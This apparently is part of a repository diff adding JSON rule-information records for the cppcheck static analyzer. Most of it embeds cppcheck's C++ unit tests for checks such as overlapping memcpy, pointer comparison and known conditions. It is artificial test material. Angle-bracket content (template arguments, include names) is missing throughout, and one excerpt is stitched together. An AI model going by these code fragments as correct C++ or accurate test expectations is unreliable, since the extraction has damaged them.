{\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkEvaluationOrder.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkEvaluationOrder.json new file mode 100644 index 0000000..4b8258a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkEvaluationOrder.json @@ -0,0 +1,24 @@ +{ + "name": "checkEvaluationOrder", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 56, + "branches": 24, + "apis": 50, + "test": [ + { + "description": null, + "expected-problems": 3, + "expected-linenumbers": [ + 377, + 11779, + 11790 + ], + "code": "check(\"{\\n\n}\\n\"\n\"void f(int i) {\\n\n int n = ++i + i;\\n\n}\\n\"\n\"void f(int i) {\\n\n int n = (~(-(++i)) + i);\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkFuncArgNamesDifferent.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkFuncArgNamesDifferent.json new file mode 100644 index 0000000..1d8f8c5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkFuncArgNamesDifferent.json @@ -0,0 +1,22 @@ +{ + "name": "checkFuncArgNamesDifferent", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 75, + "branches": 25, + "apis": 60, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12266 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include 